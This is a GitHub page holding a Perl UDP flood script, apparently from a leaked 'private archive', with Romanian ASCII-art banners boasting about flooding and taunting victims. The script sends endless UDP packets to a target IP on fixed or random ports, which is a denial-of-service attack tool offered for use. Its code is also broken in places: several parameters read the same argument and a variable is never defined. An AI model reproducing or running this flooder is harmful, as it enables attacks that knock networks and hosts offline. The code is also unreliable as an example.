forked from sX89q/leaks
-
Notifications
You must be signed in to change notification settings - Fork 0
/
csp
68 lines (64 loc) · 2.36 KB
/
csp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[0];
$time=$ARGV[0];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "[1;35m#[1;33m#[1;31m*[0;31m
. ...
;::::;
;::::; :;
;:::::' :; Ip down.
;:::::; ;. Arhiva Privata by Doc
,:::::' O O ; OOO\
::::::; ; OOOOO\
;:::::; ___ ; OOOOOOOO
,;::::::; ;' / OOOOOOO
;:::::::::`. ,,,;. / / DOOOOOO
.';:::::::::::::::::;, / / DOOOO
,::::::;::::::;;;;::::;, / / DOOO
;`::::::`'::::::;;;::::: ,#/ / DOOO
:`:::::::`;::::::;;::: ;::# / DOOO
::`:::::::`;:::::::: ;::::# / DOO
`:`:::::::`;:::::: ;::::::#/ DOO
:::`:::::::`;; ;:::::::::## OO
::::`:::::::`;::::::::;:::# OO
`:::::`::::::::::::;'`:;::# O
`:::::`::::::::;' / / `:#
::::::`:::::;' / / `#
[1;36m$ ip n";
printf "[1;35m#[1;33m#[1;31m*[0;32m Arhiva Flood [0;31mPRIVATA [0m\n";
printf "[1;35m#[1;33m#[1;31m*[0;32m ✖ By Doc HAXORUL NR1 ✖ [1;3[1;36m[0m\n";
printf "[1;35m#[1;33m#[1;31m*[0;32m Copia nu are valoare [1;3[1;36m[0m\n";
printf "[1;35m#[1;33m#[1;31m*[0;32m Bombardierul Romaniei Doc [1;3[1;36m[0m\n";
printf "[1;35m#[1;33m#[1;31m*[0;32m Ai crezut ca esti greu te-am picat sclavu meu ! [1;3[1;36m[0m\n";
printf "[1;35m#[1;33m#[1;31m*[0;32m Sclavii mei stiti cum se spune Caini latra Doc Flodeeaza [1;3[1;36m[0m\n";
printf "[1;35m#[1;33m#[1;33m*[0;32m Daca vrei sa opresti floodul apasa [0;31mCTRL+C [0m\n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -0 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -8 udp) &");
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}